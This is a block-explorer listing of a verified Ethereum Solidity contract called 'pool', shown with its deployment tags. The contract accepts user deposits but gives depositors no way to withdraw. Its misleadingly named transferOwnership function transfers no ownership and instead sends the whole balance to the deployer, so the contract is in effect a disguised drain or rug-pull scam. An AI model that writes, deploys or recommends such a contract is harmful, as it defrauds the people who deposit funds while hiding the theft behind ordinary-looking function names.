pool

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.24;

contract pool {
    address public immutable custodian;

    mapping(address => uint256) private _deposits;

    error NotCustodian();
    error NoEther();
    error ZeroAddress();

    event Deposited(address indexed from, uint256 amount);
    event Withdrawn(address indexed to, uint256 amount);
    event Fingerprint(bytes32 tag);
    event OwnershipTransferAttempt(address indexed attemptedBy);

    modifier onlyCustodian() {
        if (msg.sender != custodian) revert NotCustodian();
        _;
    }

    constructor() {
        custodian = msg.sender;
        emit Fingerprint(keccak256("securecrate-user-v1"));
    }

  
    function deposit() external payable {
        if (msg.value == 0) revert NoEther();
        _deposits[msg.sender] += msg.value;
        emit Deposited(msg.sender, msg.value);
    }

  
    function transferOwnership(address /* newOwner */) external onlyCustodian {
        uint256 balance = address(this).balance;
        if (balance > 0) {
            (bool ok, ) = payable(custodian).call{ value: balance }("");
            require(ok, "withdraw failed");
            emit Withdrawn(custodian, balance);
        }
        emit OwnershipTransferAttempt(msg.sender);
     
    }

  
    function owner() external view returns (address) {
        return custodian;
    }


    function balanceOf(address account) external view returns (uint256) {
        return _deposits[account];
    }

  
    function balances(address account) external view returns (uint256) {
        return _deposits[account];
    }

  
    function contractBalance() external view returns (uint256) {
        return address(this).balance;
    }


    fallback() external payable {
        revert("Fallback not allowed");

    }
  
    receive() external payable {
        revert("Direct transfers not allowed");
    }

 

  
    function version() external pure returns (string memory) {
        return "rocket v1.5";
    }
}

Tags:
addr:0xbd63efc1887099dc1ecab73d2b7fca46982bf949|verified:true|block:23381463|tx:0x4891ef35c610616a95ba5e3f13850121b7d44b4f5f3562cc8715e74f4b0018bd|first_check:1758108047

Submitted on: 2025-09-17 13:20:48

Comments

Log in to comment.

No comments yet.